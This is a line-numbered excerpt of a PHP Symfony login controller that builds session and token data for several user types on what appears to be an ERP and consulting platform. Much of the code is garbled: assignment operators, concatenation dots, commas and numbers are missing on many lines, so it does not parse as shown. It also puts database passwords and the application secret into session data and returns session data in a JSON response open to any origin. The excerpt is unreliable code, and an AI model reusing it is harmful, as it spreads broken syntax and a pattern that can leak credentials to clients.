  2601.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2602.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2603.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2604.                         $company_locale $companyList[$userCompanyId]['locale'];
  2605.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2606.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2607.                     }
  2608.                     if ($allModuleAccessFlag == 1)
  2609.                         $prohibit_list_array = [];
  2610.                     else if ($curr_position_id != 0)
  2611.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2612.                     $loginID $this->get('user_module')->addUserLoginLog(
  2613.                         $userId,
  2614.                         $request->server->get("REMOTE_ADDR"),
  2615.                         $curr_position_id
  2616.                     );
  2617.                     $appIdList json_decode($user->getUserAppIdList());
  2618.                     $branchIdList json_decode($user->getUserBranchIdList());
  2619.                     if ($branchIdList == null$branchIdList = [];
  2620.                     $branchId $user->getUserBranchId();
  2621.                     if ($appIdList == null$appIdList = [];
  2622. //
  2623. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2624. //                        $appIdList[] = $user->getUserAppId();
  2625. //
  2626. //                    foreach ($appIdList as $currAppId) {
  2627. //                        if ($currAppId == $user->getUserAppId()) {
  2628. //
  2629. //                            foreach ($company_id_list as $index_company => $company_id) {
  2630. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2631. //                                $app_company_index = $currAppId . '_' . $company_id;
  2632. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2633. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2634. //                            }
  2635. //                        } else {
  2636. //
  2637. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2638. //                                $this->getDoctrine()->getManager('company_group'),
  2639. //                                $gocEnabled,
  2640. //                                $currAppId
  2641. //                            );
  2642. //                            if (!empty($dataToConnect)) {
  2643. //                                $connector = $this->container->get('application_connector');
  2644. //                                $connector->resetConnection(
  2645. //                                    'default',
  2646. //                                    $dataToConnect['dbName'],
  2647. //                                    $dataToConnect['dbUser'],
  2648. //                                    $dataToConnect['dbPass'],
  2649. //                                    $dataToConnect['dbHost'],
  2650. //                                    $reset = true
  2651. //                                );
  2652. //                                $em = $this->getDoctrine()->getManager();
  2653. //
  2654. //                                $companyList = Company::getCompanyListWithImage($em);
  2655. //                                foreach ($companyList as $c => $dta) {
  2656. //                                    //                                $company_id_list[]=$c;
  2657. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2658. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2659. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2660. //                                    $app_company_index = $currAppId . '_' . $c;
  2661. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2662. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2663. //                                }
  2664. //                            }
  2665. //                        }
  2666. //                    }
  2667.                 }
  2668.                 else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2669.                     // General User
  2670.                     $employeeId 0;
  2671.                     $currentMonthHolidayList = [];
  2672.                     $currentHolidayCalendarId 0;
  2673.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2674.                         ->findOneBy(
  2675.                             array(
  2676.                                 'userId' => $user->getUserId()
  2677.                             )
  2678.                         );
  2679.                     if ($employeeObj) {
  2680.                         $employeeId $employeeObj->getEmployeeId();
  2681.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2682.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2683.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2684.                     }
  2685.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2686.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2687.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2688.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2689.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2690.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2691.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2692.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2693.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2694.                     $session->set(UserConstants::USER_NAME$user->getName());
  2695.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2696.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2697.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2698.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2699.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2700.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2701.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2702.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2703.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2704.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2705.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2706.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2707.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2708.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2709.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2710.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2711.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2712.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2713.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2714.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2715.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2716.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2717.                         return $this->redirectToRoute("user_login_position");
  2718.                     } else {
  2719.                         $PL json_decode($user->getPositionIds(), true);
  2720.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2721.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2722.                         $loginID $this->get('user_module')->addUserLoginLog(
  2723.                             $session->get(UserConstants::USER_ID),
  2724.                             $request->server->get("REMOTE_ADDR"),
  2725.                             $PL[0]
  2726.                         );
  2727.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2728.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2729.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2730.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2731.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2732.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2733.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2734.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2735.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2736.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2737.                         $appIdList json_decode($user->getUserAppIdList());
  2738.                         if ($appIdList == null$appIdList = [];
  2739.                         $companyIdListByAppId = [];
  2740.                         $companyNameListByAppId = [];
  2741.                         $companyImageListByAppId = [];
  2742.                         if (!in_array($user->getUserAppId(), $appIdList))
  2743.                             $appIdList[] = $user->getUserAppId();
  2744.                         foreach ($appIdList as $currAppId) {
  2745.                             if ($currAppId == $user->getUserAppId()) {
  2746.                                 foreach ($company_id_list as $index_company => $company_id) {
  2747.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2748.                                     $app_company_index $currAppId '_' $company_id;
  2749.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2750.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2751.                                 }
  2752.                             } else {
  2753.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2754.                                     $this->getDoctrine()->getManager('company_group'),
  2755.                                     $gocEnabled,
  2756.                                     $currAppId
  2757.                                 );
  2758.                                 if (!empty($dataToConnect)) {
  2759.                                     $connector $this->container->get('application_connector');
  2760.                                     $connector->resetConnection(
  2761.                                         'default',
  2762.                                         $dataToConnect['dbName'],
  2763.                                         $dataToConnect['dbUser'],
  2764.                                         $dataToConnect['dbPass'],
  2765.                                         $dataToConnect['dbHost'],
  2766.                                         $reset true
  2767.                                     );
  2768.                                     $em $this->getDoctrine()->getManager();
  2769.                                     $companyList Company::getCompanyListWithImage($em);
  2770.                                     foreach ($companyList as $c => $dta) {
  2771.                                         //                                $company_id_list[]=$c;
  2772.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2773.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2774.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2775.                                         $app_company_index $currAppId '_' $c;
  2776.                                         $company_locale $companyList[$c]['locale'];
  2777.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2778.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2779.                                     }
  2780.                                 }
  2781.                             }
  2782.                         }
  2783.                         $session->set('appIdList'$appIdList);
  2784.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2785.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2786.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2787.                         $branchIdList json_decode($user->getUserBranchIdList());
  2788.                         $branchId $user->getUserBranchId();
  2789.                         $session->set('branchIdList'$branchIdList);
  2790.                         $session->set('branchId'$branchId);
  2791.                         if ($user->getAllModuleAccessFlag() == 1)
  2792.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2793.                         else
  2794.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2795.                         $session_data = array(
  2796.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2797.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2798.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2799.                             'oAuthToken' => $session->get('oAuthToken'),
  2800.                             'locale' => $session->get('locale'),
  2801.                             'firebaseToken' => $session->get('firebaseToken'),
  2802.                             'token' => $session->get('token'),
  2803.                             'firstLogin' => $firstLogin,
  2804.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2805.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2806.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2807.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2808.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2809.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2810.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2811.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2812.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2813.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2814.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2815.                             'oAuthImage' => $session->get('oAuthImage'),
  2816.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2817.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2818.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2819.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2820.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2821.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2822.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2823.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2824.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2825.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2826.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2827.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2828.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2829.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2830.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2831.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2832.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2833.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2834.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2835.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2836.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2837.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2838.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2839.                             //new
  2840.                             'appIdList' => $session->get('appIdList'),
  2841.                             'branchIdList' => $session->get('branchIdList'null),
  2842.                             'branchId' => $session->get('branchId'null),
  2843.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2844.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2845.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2846.                     );
  2847.                     $session_data $this->filterClientSessionData($session_data);
  2848.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2849.                         $session_data $tokenData['sessionData'];
  2850.                         $token $tokenData['token'];
  2851.                         $session->set('token'$token);
  2852.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2853.                             $session->set('remoteVerified'1);
  2854.                             $response = new JsonResponse(array(
  2855.                                 'uid' => $session->get(UserConstants::USER_ID),
  2856.                                 'session' => $session,
  2857.                                 'token' => $token,
  2858.                                 'success' => true,
  2859.                                 'session_data' => $session_data,
  2860.                             ));
  2861.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2862.                             return $response;
  2863.                         }
  2864.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2865.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2866.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2867.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2868.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2869.                                     return $this->redirect($red);
  2870.                                 }
  2871.                             } else {
  2872.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2873.                             }
  2874.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2875.                             return $this->redirectToRoute("dashboard");
  2876.                         else
  2877.                             return $this->redirectToRoute($user->getDefaultRoute());
  2878. //                        if ($request->server->has("HTTP_REFERER")) {
  2879. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2880. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2881. //                            }
  2882. //                        }
  2883. //
  2884. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2885. //                        if ($request->request->has('referer_path')) {
  2886. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2887. //                                return $this->redirect($request->request->get('referer_path'));
  2888. //                            }
  2889. //                        }
  2890. //                        //                    if($request->request->has('gocId')
  2891. //
  2892. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2893. //                            return $this->redirectToRoute("dashboard");
  2894. //                        else
  2895. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2896.                     }
  2897.                 }
  2898.                 else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2899.                     $applicantId $user->getApplicantId();
  2900.                     $userId $user->getApplicantId();
  2901.                     $globalId $user->getApplicantId();
  2902.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2903.                     $isConsultant $user->getIsConsultant() == 0;
  2904.                     $isRetailer $user->getIsRetailer() == 0;
  2905.                     $retailerLevel $user->getRetailerLevel() == 0;
  2906.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2907.                     $isModerator $user->getIsModerator() == 0;
  2908.                     $isAdmin $user->getIsAdmin() == 0;
  2909.                     $userEmail $user->getOauthEmail();
  2910.                     $userImage $user->getImage();
  2911.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2912.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2913.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2914.                     $buddybeeBalance $user->getAccountBalance();
  2915.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2916.                     $userDefaultRoute 'applicant_dashboard';
  2917. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2918.                     $userAppIds = [];
  2919.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2920.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2921.                     if ($userAppIds == null$userAppIds = [];
  2922.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2923.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2924.                     foreach ($userTypesByAppIds as $aid => $accData)
  2925.                         if (in_array($aid$userSuspendedAppIds))
  2926.                             unset($userTypesByAppIds[$aid]);
  2927.                         else
  2928.                             $userAppIds[]=$aid;
  2929. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2930.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2931.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2932.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2933.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2934.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2935.                     $loginID MiscActions::addEntityUserLoginLog(
  2936.                         $em_goc,
  2937.                         $userId,
  2938.                         $applicantId,
  2939.                         1,
  2940.                         $request->server->get("REMOTE_ADDR"),
  2941.                         0,
  2942.                         $request->request->get('deviceId'''),
  2943.                         $request->request->get('oAuthToken'''),
  2944.                         $request->request->get('oAuthType'''),
  2945.                         $request->request->get('locale'''),
  2946.                         $request->request->get('firebaseToken''')
  2947.                     );
  2948.                 }
  2949.                 else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2950.                     // General User
  2951.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2952.                         ->findOneBy(
  2953.                             array(
  2954.                                 'userId' => $user->getUserId()
  2955.                             )
  2956.                         );
  2957.                     if ($employeeObj) {
  2958.                         $employeeId $employeeObj->getEmployeeId();
  2959.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2960.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2961.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2962.                     }
  2963.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2964.                         ->findOneBy(
  2965.                             array(
  2966.                                 'userId' => $user->getUserId(),
  2967.                                 'workingStatus' => 1
  2968.                             )
  2969.                         );
  2970.                     if ($currentTask) {
  2971.                         $currentTaskId $currentTask->getId();
  2972.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2973.                     }
  2974.                     $userId $user->getUserId();
  2975.                     $userCompanyId 1;
  2976.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2977.                     $userEmail $user->getEmail();
  2978.                     $userImage $user->getImage();
  2979.                     $userFullName $user->getName();
  2980.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2981.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2982.                     $position_list_array json_decode($user->getPositionIds(), true);
  2983.                     if ($position_list_array == null$position_list_array = [];
  2984.                     $filtered_pos_array = [];
  2985.                     foreach ($position_list_array as $defPos)
  2986.                         if ($defPos != '' && $defPos != 0)
  2987.                             $filtered_pos_array[] = $defPos;
  2988.                     $position_list_array $filtered_pos_array;
  2989.                     if (!empty($position_list_array))
  2990.                         foreach ($position_list_array as $defPos)
  2991.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  2992.                                 $curr_position_id $defPos;
  2993.                             }
  2994.                     $userDefaultRoute $user->getDefaultRoute();
  2995.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  2996.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2997.                         $userDefaultRoute 'user_default_page';
  2998.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  2999.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3000.                     if (isset($companyList[$userCompanyId])) {
  3001.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3002.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3003.                         $company_locale $companyList[$userCompanyId]['locale'];
  3004.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3005.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3006.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3007.                     }
  3008.                     if ($allModuleAccessFlag == 1)
  3009.                         $prohibit_list_array = [];
  3010.                     else
  3011.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3012.                     $loginID $this->get('user_module')->addUserLoginLog(
  3013.                         $userId,
  3014.                         $request->server->get("REMOTE_ADDR"),
  3015.                         $curr_position_id
  3016.                     );
  3017.                     $appIdList json_decode($user->getUserAppIdList());
  3018.                     $branchIdList json_decode($user->getUserBranchIdList());
  3019.                     if ($branchIdList == null$branchIdList = [];
  3020.                     $branchId $user->getUserBranchId();
  3021.                     if ($appIdList == null$appIdList = [];
  3022.                     if (!in_array($user->getUserAppId(), $appIdList))
  3023.                         $appIdList[] = $user->getUserAppId();
  3024.                     foreach ($appIdList as $currAppId) {
  3025.                         if ($currAppId == $user->getUserAppId()) {
  3026.                             foreach ($company_id_list as $index_company => $company_id) {
  3027.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3028.                                 $app_company_index $currAppId '_' $company_id;
  3029.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3030.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3031.                             }
  3032.                         } else {
  3033.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3034.                                 $this->getDoctrine()->getManager('company_group'),
  3035.                                 $gocEnabled,
  3036.                                 $currAppId
  3037.                             );
  3038.                             if (!empty($dataToConnect)) {
  3039.                                 $connector $this->container->get('application_connector');
  3040.                                 $connector->resetConnection(
  3041.                                     'default',
  3042.                                     $dataToConnect['dbName'],
  3043.                                     $dataToConnect['dbUser'],
  3044.                                     $dataToConnect['dbPass'],
  3045.                                     $dataToConnect['dbHost'],
  3046.                                     $reset true
  3047.                                 );
  3048.                                 $em $this->getDoctrine()->getManager();
  3049.                                 $companyList Company::getCompanyListWithImage($em);
  3050.                                 foreach ($companyList as $c => $dta) {
  3051.                                     //                                $company_id_list[]=$c;
  3052.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3053.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3054.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3055.                                     $app_company_index $currAppId '_' $c;
  3056.                                     $company_locale $companyList[$c]['locale'];
  3057.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3058.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3059.                                 }
  3060.                             }
  3061.                         }
  3062.                     }
  3063.                     if (count($position_list_array) > 1) {
  3064.                         $userForcedRoute 'user_login_position';
  3065. //                        return $this->redirectToRoute("user_login_position");
  3066.                     } else {
  3067.                     }
  3068.                 } else {
  3069.                     $isEmailVerified 1;
  3070.                 }
  3071.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3072.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3073.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3074.                 ) {
  3075.                     $session_data = array(
  3076.                         UserConstants::USER_ID => $userId,
  3077.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3078.                         UserConstants::APPLICANT_ID => $applicantId,
  3079.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3080.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3081.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3082.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3083.                         UserConstants::SUPPLIER_ID => $supplierId,
  3084.                         UserConstants::CLIENT_ID => $clientId,
  3085.                         UserConstants::USER_TYPE => $userType,
  3086.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3087.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3088.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3089.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3090.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3091.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3092.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3093.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3094.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3095.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3096.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3097.                         UserConstants::USER_NAME => $userFullName,
  3098.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3099.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3100.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3101.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3102.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3103.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3104.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3105.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3106.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3107.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3108.                         UserConstants::USER_GOC_ID => $gocId,
  3109.                         UserConstants::USER_DB_NAME => $gocDbName,
  3110.                         UserConstants::USER_DB_USER => $gocDbUser,
  3111.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3112.                         UserConstants::USER_DB_HOST => $gocDbHost,
